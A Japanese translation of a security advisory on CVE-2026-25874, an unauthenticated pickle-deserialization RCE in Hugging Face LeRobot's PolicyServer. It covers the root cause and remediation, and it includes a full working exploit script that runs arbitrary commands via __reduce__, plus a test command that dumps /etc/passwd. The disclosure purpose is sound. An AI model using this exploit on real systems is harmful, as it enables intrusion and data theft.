CVE-2026-25874: Hugging Face LeRobotのPickle逆シリアル化を経由した認証なしRCE

概要

Hugging FaceのオープンソースロボティクスプラットフォームLeRobotに影響を及ぼす深刻なリモートコード実行(RCE)脆弱性が存在します。具体的には非同期推論PolicyServerコンポーネント に影響します。この問題は、公開されているgRPCエンドポイント上でPythonのpickleモジュールを使用した信頼できないデータの不安全な逆シリアル化に起因しています。

PolicyServerネットワークポートに到達できる認証されていない攻撃者は、悪意のあるシリアル化されたペイロードを送信して、サービスを実行しているホストマシン上で任意のOSコマンドを実行できます。

LeRobotはGPUバックアップされた推論システム用に設計されているため、これは特に危険です。これらはしばしば昇格された特権で実行され、ロボティクスハードウェア、内部ネットワーク、データセット、および高価な計算リソースへのアクセス権を持っています。

LeRobotとは何ですか?

LeRobotはHugging Faceの実世界のロボティクスと機械学習プラットフォームです。これは開発者がAIモデルを使用してロボットポリシーをトレーニングおよびデプロイするのに役立ちます。

その非同期推論設計は、ロボット制御から重いモデル推論を分離します:

  • RobotClient はロボットデバイス上で実行されます
  • PolicyServer はGPUマシン上で実行されます
  • ロボットは観測(カメラフレーム/センサーデータ)を送信します
  • サーバーはアクション(移動コマンド)を返します

このアーキテクチャはパフォーマンスを向上させますが、リモート入力を安全に処理する必要があるネットワーク公開サービスも作成します。

LeRobotワークフロー

図は、ロボットが感知と移動を処理し、リモートGPUサーバーがAI意思決定を処理するスマート分散ロボティクスシステムを示しています。これにより、ロボットはより安価で、スマートで、スケーラブルになります。

Image

1.現実世界/ロボット側

図の左側はロボットクライアント (robot_client.py)で、ロボット上で直接実行されます。

センサーが情報を収集する

ロボットは以下を使用してデータを収集します:
  • カメラ
  • LiDAR
  • IMU/モーションセンサー
  • その他のオンボードセンサー

これらの入力は、ロボットが周囲を理解するのに役立ちます。

観測の作成

収集されたセンサーデータは観測に変換されます。例えば:

  • 画像
  • 深度情報
  • 位置データ
  • 固有受容(ロボットジョイント状態)

この観測はロボットの現在の状態を表します。

2.サーバーへのデータ送信

ロボットはgRPCを通じて観測をリモートGPUサーバーに送信します。

図によると:

  • データは観測メッセージにパッケージ化されます
  • ネットワーク経由で転送されます
  • リモートAI推論に使用されます

これにより、ロボットはオンボードのGPUを搭載せずに強力な計算ハードウェアを使用できます。

3.GPUサーバー/ポリシーサーバー

右側はポリシーサーバー (policy_server.py)です。

gRPCサービスがリクエストを受信する

サーバーは以下のようなメソッドを公開します:

  • SendObservations() 
  • SendPolicyInstructions() 

これらはロボットからデータを受信します。

AIモデルの推論

サーバー内:

  1. 観測データは処理されます
  2. トレーニング済みAIポリシーモデルがGPU上で実行されます
  3. モデルは次のロボットアクションを決定します

例:

  • アームを移動する
  • ベースを回転する
  • グリッパーを閉じる
  • 速度を変更する

4.アクションを返す

推論の後、サーバーはロボットにアクションメッセージを送信します。

これには以下のような移動コマンドが含まれます:

  • ジョイント位置
  • 速度
  • グリッパー状態
  • ベース移動

5.ロボットがコマンドを実行する

ロボット制御システムは返されたアクションを受け取り、以下を起動します:

  • モーター
  • アクチュエーター
  • ホイール
  • ロボットアームジョイント

その後、ロボットは物理的にタスクを実行します。

なぜ重要なのか?

1.ロボティクスを簡単にする

従来のロボティクスはしばしば以下を必要とします:

  • 機械工学
  • 制御システムの専門知識
  • カスタムハードウェアコード
  • 複雑なミドルウェア

LeRobotはAI開発者に馴染みのあるMLスタイルのワークフローでこれを簡素化します。

2.AIと実際のロボットを接続する

多くのAIモデルはシミュレーション内に留まります。LeRobotはモデルを以下に移すのに役立ちます:

  • 実際のロボットアーム
  • モバイルロボット
  • カメラとセンサー
  • 物理的なタスク

そのブリッジは非常に価値があります。

3.オープンソースエコシステム

これは研究者とスタートアップが最初からすべてを構築することを避けるのに役立ちます。

  • トレーニングパイプライン
  • データセットツール
  • 推論サーバー
  • ポリシーデプロイメントツール
  • 統合ワークフロー

4.Hugging Faceロボティクスビジョン

Hugging FaceがNLPモデルを標準化するのに役立ったように、LeRobotはロボティクスAIを標準化するのに役立つことを目指しています。

CVE-2026-25874とは何ですか?

CVE-2026-25874 はHugging Face LeRobotに影響を及ぼす深刻なセキュリティ脆弱性に割り当てられた識別子です。具体的には非同期推論PolicyServerコンポーネントに影響を及ぼします。

この欠陥により、公開されているgRPCエンドポイント上でPythonのpickleモジュールを使用した攻撃者が制御するデータの不安全な逆シリアル化を通じて認証されていないリモートコード実行(RCE)が可能になります。

実際には、脆弱なサービスに到達できるリモート攻撃者は、PolicyServerを実行しているホストマシン上で任意のオペレーティングシステムコマンドを実行できる可能性があります。

影響を受けるバージョン

確認された脆弱性

  • LeRobot v0.4.3 —デフォルトの非同期推論PolicyServerコンポーネントが有効な公式PyPIリリースを使用した実世界のテスト環境で正常に検証されました。

可能性が高い影響を受ける

  • それより前のLeRobotリリース は同じ lerobot.async_inference.policy_server アーキテクチャを含み、Pythonの pickle.loads() を使用して信頼できない gRPC 入力を逆シリアル化し続けています。
  • 脆弱な RPC ハンドラーが存在するあらゆるバージョン。以下を含みます:
    • SendPolicyInstructions() 
    • SendObservations()

技術的な根本原因

この脆弱性は、LeRobotの非同期推論PolicyServer内における攻撃者が制御可能なネットワーク入力の不安全な逆シリアル化に起因します。

このサービスはリモートgRPCクライアントからの生のバイトを受け入れ、それらをPythonの逆シリアル化ルーチンに直接渡します:

pickle.loads(...)

Pythonの pickle フォーマットは信頼されていないデータ用に設計されていないため、これは重大なセキュリティの問題を作成します。JSONやprotobufのような受動的なフォーマットとは異なり、pickleは任意のPythonオブジェクトを再構築し、読み込みプロセス中にロジックを実行できます。

攻撃者は以下のような組み込みオブジェクト復元メカニズムを悪用する悪意のあるシリアル化オブジェクトを作成できます:

  • __reduce__() 
  • __reduce_ex__() 
  • __setstate__() 

これらのメソッドは os.system()、subprocess.Popen()、または他の攻撃者が制御可能な操作のような関数を逆シリアル化自体の間に呼び出す可能性があります。

その結果、コード実行はアプリケーションレベルの検証、型チェック、または例外処理が行われる前に発生する可能性があります。

脆弱な RPC ハンドラー

LeRobot PolicyServer は、Pythonの pickle.loads() を使用してネットワークから受信したデータを直接逆シリアル化する2つの gRPC RPC ハンドラーを公開します。

これがコアセキュリティ欠陥です。

1. SendPolicyInstructions()

def SendPolicyInstructions(self, request, context):
    policy_specs = pickle.loads(request.data)  # nosec
    if not isinstance(policy_specs, RemotePolicyConfig):
        raise TypeError(...)
何が起こるか
  1. クライアントが gRPC サーバーに接続します
  2. request.data 内に生のバイトを送信します
  3. サーバーは直ちに実行します:
pickle.loads(request.data)
  1. 逆シリアル化の後にのみチェックします:
isinstance(policy_specs, RemotePolicyConfig)
なぜこれが危険なのか

Pythonのpickleを使用すると、悪意のあるコードは pickle.loads() の間に実行できます。

つまり、型チェックは遅すぎます

オブジェクトが無効で例外をスローしたとしても、攻撃ペイロードは既に実行されている可能性があります。

2. SendObservations()

def SendObservations(self, request_iterator, context):
    received_bytes = receive_bytes_in_chunks(...)
    timed_observation = pickle.loads(received_bytes)  # nosec
何が起こるか
  1. 攻撃者はサーバーにバイトをストリーミングします
  2. サーバーは全ペイロードを再構築します
  3. 実行します:
pickle.loads(received_bytes)

繰り返しになりますが、任意のコードは直ちに実行できます。

なぜ # nosec が重要なのか

コメント:

# nosec

は一般的に Bandit のような静的セキュリティスキャナーを抑制するために使用されます。

Bandit は通常以下について警告します:

B301: pickle usage is insecure

したがって開発者は pickle.loads() がリスキーであることを認識していましたが、それを修正する代わりに、警告を抑制しました。

なぜ型検証は役に立たないのか

多くの開発者はこれが安全だと考えています:

obj = pickle.loads(data)
if not isinstance(obj, SafeType):
    raise TypeError()

pickleは最初にオブジェクトを再構築するため、それは安全ではありません

再構築中に、以下のような特別なメソッド:

__reduce__()
__setstate__()

は isinstance() に到達する前にコマンドを実行できます。

エクスプロイトスクリプト分析

以下のPythonスクリプトは、LeRobot PolicyServer脆弱性が、公開されているgRPCサービスに悪意のあるpickleペイロードを送信することによって攻撃者によって悪用される方法を示しています。スクリプトは脆弱なRPCハンドラーの不安全な逆シリアル化を悪用して、リモートコード実行を達成します。

import os
import pickle
import grpc
import argparse
from transport import services_pb2, services_pb2_grpc
parser = argparse.ArgumentParser()
parser.add_argument("--target", required=True, help="Target host:port")
parser.add_argument("--method", default="both", choices=["policy", "obs", "both"])
parser.add_argument("--cmd", default="ls > /tmp/lerobot_pwned")
args = parser.parse_args()
class RCE:
    def __init__(self, cmd):
        self.cmd = cmd
    def __reduce__(self):
        return (os.system, (self.cmd,))
print(f"[*] Target: {args.target}")
print(f"[*] Command: {args.cmd}")
channel = grpc.insecure_channel(args.target)
stub = services_pb2_grpc.AsyncInferenceStub(channel)
# Initialize server
try:
    print("[*] Calling Ready() to initialize server...")
    stub.Ready(services_pb2.Empty())
    print("[+] Server is ready")
except grpc.RpcError as e:
    print(f"[!] Ready() failed: {e.code()}")
    exit(1)
payload = pickle.dumps(RCE(args.cmd))
# Method 1: SendPolicyInstructions
if args.method in ["policy", "both"]:
    try:
        print("[*] Sending malicious pickle via SendPolicyInstructions...")
        print(f"[*] Payload size: {len(payload)} bytes")
        stub.SendPolicyInstructions(
            services_pb2.PolicySetup(data=payload)
        )
    except grpc.RpcError as e:
        print(f"[+] RPC error (expected - RCE already executed): {e.code()}")
# Method 2: SendObservations
if args.method in ["obs", "both"]:
    try:
        print("[*] Sending malicious pickle via SendObservations...")
        def gen():
            yield services_pb2.Observation(
                transfer_state=0,
                data=payload)
        stub.SendObservations(gen())
    except grpc.RpcError as e:
        print(f"[+] RPC error (expected - RCE already executed): {e.code()}")
print("[*] Done")

1. 必要なモジュールをインポート

import os
import pickle
import grpc
import argparse
from transport import services_pb2, services_pb2_grpc

スクリプトは以下のモジュールをインポートします:

  • os → システムコマンドを実行するために使用
  • pickle → 悪意のあるシリアル化されたペイロードを作成
  • grpc → LeRobotサーバーと通信
  • argparse → ユーザーが指定したコマンドラインオプションを処理
  • services_pb2 / services_pb2_grpc → ターゲット gRPC API の生成された protobuf スタブ

2. ユーザー引数を受け入れる

parser.add_argument("--target", required=True)
parser.add_argument("--method", default="both")
parser.add_argument("--cmd", default="ls > /tmp/lerobot_pwned")

エクスプロイトは以下を受け入れます:

  • –target → ターゲットIPとポート
  • –method → 脆弱なエンドポイント(policy、obs、またはboth)を選択
  • –cmd → ターゲットで実行するオペレーティングシステムコマンド

3. 悪意のあるペイロードクラス

class RCE:
    def __reduce__(self):
        return (os.system, (self.cmd,))

これはエクスプロイトのコアです。

特別なPythonメソッド __reduce__() は、pickleにオブジェクトを再構築する方法を伝えます。無害なデータを再構築する代わりに、Pythonに以下を呼び出すよう指示します:

os.system(command)

サーバーがオブジェクトを逆シリアル化するとき、指定されたコマンドが自動的に実行されます。

4. 脆弱なサーバーに接続

channel = grpc.insecure_channel(args.target)
stub = services_pb2_grpc.AsyncInferenceStub(channel)

スクリプトは安全でないgRPC上で公開されたPolicyServerに接続します。

これはサーバー構成を反映し、TLSまたは認証は不要です。

5. 最初に Ready() を呼び出す

stub.Ready(services_pb2.Empty())

これはサービスを初期化し、ペイロードを送信する前にサーバーに到達可能であることを確認します。

6. 悪意のある Pickle バイトを構築

payload = pickle.dumps(RCE(args.cmd))

エクスプロイトは悪意のあるオブジェクトをネットワーク転送に適したシリアル化されたバイトに変換します。

7. エクスプロイト方法 #1 — SendPolicyInstructions

stub.SendPolicyInstructions(
    services_pb2.PolicySetup(data=payload)
)

ペイロードは PolicySetup.data バイトフィールドに挿入され、最初の脆弱なエンドポイントに送信されます。

サーバーが実行する場合:

pickle.loads(request.data)

コマンドは実行されます。

8. エクスプロイト方法 #2 — SendObservations

stub.SendObservations(gen())

同じ悪意のあるバイトは Observation.data フィールドを使用して2番目の脆弱なエンドポイント経由でストリーミングされます。

これは以下をターゲットとします:

pickle.loads(received_bytes)

サーバー上。

実世界のテスト環境

この脆弱性は、ソースコードを変更せずにPyPIから直接インストールされた公式LeRobot v0.4.3パッケージに対して検証されました。テストは標準環境でデフォルトの非同期推論PolicyServerコンポーネントを使用して実行されました。

pip install lerobot

脆弱な PolicyServer を起動する

python3 -m lerobot.async_inference.policy_server --host=0.0.0.0 --port=50051

このコマンドはLeRobotの非同期推論PolicyServerを起動します。これは以下を担当するリモートgRPCサービスです:

  • ロボット観測の受信
  • AIポリシー推論の実行
  • ロボットクライアントへの移動アクションの返送
Image

その後、悪意のあるクライアントが公開されたサーバーに対して実行されました:

python3 ex1.py --target 127.0.0.1:50051 --method both --cmd "cat /etc/passwd > /tmp/x"
Image

これは脆弱なサーバーに悪意のあるpickleペイロードを送信するカスタムエクスプロイトスクリプトを実行します。

–method both → 脆弱なRPCエンドポイント両方を使用します:

  • SendPolicyInstructions() 
  • SendObservations()

エクスプロイトは脆弱なRPCハンドラーを通じて不安全な逆シリアル化を正常にトリガーし、ターゲットホスト上でコマンド実行をもたらしました。/etc/passwdのコンテンツは/tmp/xに書き込まれ、任意のOSコマンド実行の成功を確認しました。

攻撃の仕組み

Image
1. 悪意のあるペイロードを作成

攻撃者は隠されたシステムコマンドを含む特別に作成されたPythonpickleオブジェクトを作成します。
このオブジェクトは __reduce__() などのPythonシリアル化機能を悪用するため、逆シリアル化されるときにコマンドが自動的に実行されます。

2. gRPCを介してペイロードを送信

悪意のあるシリアル化されたバイトは、SendPolicyInstructions() や SendObservations() などの公開されているgRPCエンドポイントを使用して脆弱なLeRobot PolicyServerに送信されます。
サービスは安全でないgRPCトランスポートを使用するため、認証または暗号化接続は不要です。

3. 不安全な逆シリアル化

リクエストを受信した後、サーバーは pickle.loads() を使用して攻撃者が制御するバイトを処理します。
JSONなどの安全なフォーマットとは異なり、pickleはPythonオブジェクトを再構築でき、読み込み中に埋め込まれた指示を実行できます。

4. リモートコード実行

逆シリアル化中に、隠されたペイロードが提供されたオペレーティングシステムコマンドを自動的にトリガーします。
これにより、攻撃者はLeRobotサービスと同じ特権で任意のコマンドを実行する機能を得ます。

5. 結果がターゲットに書き込まれる

実行されたコマンドの出力は、侵害されたマシンのローカルファイルに書き込まれます。
デモンストレーションでは、/etc/passwdのコンテンツが/tmp/xにリダイレクトされ、利用可能な悪用を確認しました。

6. 完全なシステム侵害の可能性

コマンド実行が達成されると、攻撃者は認証情報を盗んだり、マルウェアをインストールしたり、永続化を作成したりできます。
また、内部ネットワークを経由して横展開するか、ロボット操作を改ざんする可能性があります。

脆弱性の影響

1. 認証されていないリモートコード実行

ネットワークアクセス権を持つ攻撃者は、影響を受けたLeRobotシステム上で任意のコマンドを実行できます。
ログイン、ユーザーインタラクション、または事前特権は必要ありません。

2. 完全なサーバー侵害

PolicyServerホストは、利用可能な悪用後に完全に乗っ取られる可能性があります。
攻撃者はファイルにアクセスし、マルウェアをインストールするか、永続化を維持する可能性があります。

3. クライアント/ロボット侵害

接続されたロボットクライアントは同じ不安全なチャネルを通じて影響を受ける可能性があります。
これにより、オンボードシステム、ローカルストレージ、および制御プロセスが公開される可能性があります。

4. 機密データの盗難

攻撃者はAPIキー、SSH認証情報、モデルファイル、および内部データを盗む可能性があります。
キャプチャされたシークレットは、より深いネットワーク侵害に再利用できます。

5. 内部ネットワーク ピボット

内部に侵入すると、攻撃者は他の信頼されたシステムに横展開できます。
GPUサーバーとロボティクス環境はしばしば特権ネットワークに座っています。

6. サービス妨害と破壊行為

攻撃者はサービスをクラッシュさせたり、モデルを破損したり、ロボット操作を停止したりできます。
これは研究、自動化、または本番ワークフローを中断する可能性があります。

7. 物理的安全性リスク

実際のロボットに関連付けられている場合、悪意のあるコマンドは不安全な移動を引き起こす可能性があります。
これは実世界の環境での運用上および安全上の懸念を生じさせます。

推奨される修復

1. ネットワーク入力からPickleを削除

pickle.loads() をJSON、protobuf、またはsafetensorsなどの安全なフォーマットに置き換えます。
Pickleは、コード実行が可能なため、攻撃者が制御するデータで使用すべきではありません。

2. TLS暗号化を有効化

add_insecure_port() を証明書を使用した add_secure_port() に置き換えます。
TLSは傍受からのトラフィックを保護し、サーバーID を検証します。

3. 認証を追加

すべてのgRPCクライアントに対してAPIトークン、mTLS、またはJWT検証が必要です。
信頼されたロボットと内部システムのみがPolicyServerにアクセスできる必要があります。

4. ネットワークアクセスを制限

公開露出をブロックし、信頼できるIPまたはプライベートネットワークのみを許可します。
ファイアウォール、VPN、またはセグメント化された内部インフラストラクチャを使用します。

5. 非同期コンポーネントを無効化(未使用の場合)

PolicyServerまたはリモート推論が必要ない場合は、一時的に無効化します。
公式パッチが利用可能になるまで、ローカル推論の実行がより安全です。

6. ホストシステムを強化

サービスを制限されたコンテナー内の非rootユーザーとして実行します。
AppArmor、SELinux、および最小特権コントロールを使用して損害を制限します。

7. 悪用を監視

疑わしい子プロセス、逆シェル、または /tmp/ のファイルを監視します。
Pythonがbash、curl、nc、または異常なアウトバウンドトラフィックを生成するときにアラートを出します。

結論

LeRobot PolicyServer脆弱性は、一般的であるが重大なセキュリティ上の誤りを強調しています:ネットワークに面したサービスでの不安全な逆シリアル化の使用。pickle.loads() を認証されていないgRPC入力で呼び出すことにより、アプリケーションは効果的にリモートユーザーが影響を受けたシステムで任意のコードを実行することを許可します。

LeRobotはGPUバックアップされたロボティクス環境向けに設計されているため、利用可能な悪用は、完全なサーバー侵害、機密認証情報の盗難、ロボット操作の妨害、および物理的なハードウェアが関係している可能性のある安全性リスクをもたらす可能性があります。認証と暗号化トランスポートの欠如により、問題の重大度がさらに増加します。

このケースは、機械学習インフラストラクチャの利便性駆動設計の選択肢がどのように深刻なセキュリティの弱点を導入できるかについての重要な注意喚起として機能します。信頼できるローカル使用を目的とするシリアル化フォーマットをリモートクライアントに直接公開すべきではありません。

翻訳元: https://www.resecurity.com/blog/article/cve-2026-25874-hugging-face-lerobot-unauthenticated-rce-via-pickle-deserialization

ソース: resecurity.com